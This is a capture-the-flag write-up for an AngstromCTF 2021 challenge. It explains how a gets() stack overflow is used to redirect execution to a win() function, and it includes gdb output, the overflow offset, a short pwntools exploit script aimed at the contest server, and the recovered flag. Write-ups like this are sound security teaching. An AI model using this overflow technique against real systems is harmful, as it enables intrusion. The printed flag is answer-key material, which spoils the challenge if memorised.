# AngstromCTF2021Looking at the sourcecode we see that executing the function `win` will print the flag. We also notice that `gets` is used for input. This enables to overwrite the instruction pointer and make the program execute the `win` function.
Disassembling the program with gdb we find the address of the `win` function:```(gdb) info functionsAll defined functions:
Non-debugging symbols:0x0000000000401000  _init0x0000000000401030  puts@plt0x0000000000401040  setbuf@plt0x0000000000401050  printf@plt0x0000000000401060  fgets@plt0x0000000000401070  strcmp@plt0x0000000000401080  gets@plt0x0000000000401090  fopen@plt0x00000000004010a0  exit@plt0x00000000004010b0  _start0x00000000004010e0  _dl_relocate_static_pie0x00000000004010f0  deregister_tm_clones0x0000000000401120  register_tm_clones0x0000000000401160  __do_global_dtors_aux0x0000000000401190  frame_dummy0x0000000000401196  win0x0000000000401204  vuln0x0000000000401261  main0x00000000004012a0  __libc_csu_init0x0000000000401310  __libc_csu_fini0x0000000000401318  _fini```Thus if we're able to overwrite the instruction pointer with `0x00401196` we can get the flag. By trial and error we find the offset need to overwrite the instruction pointer to be 72.
Coding it all up we get:```from pwn import *
win_addr = b"\x96\x11\x40\x00"payload = b"\x41"*72 + win_addr
conn = remote('shell.actf.co', 21830)response = conn.recvline()print(response)conn.sendline(payload)response = conn.recvline()print(response)response = conn.recvline()print(response)```This returns the flag: `actf{time_has_gone_so_fast_watching_the_leaves_fall_from_our_instruction_pointer_864f647975d259d7a5bee6e1}`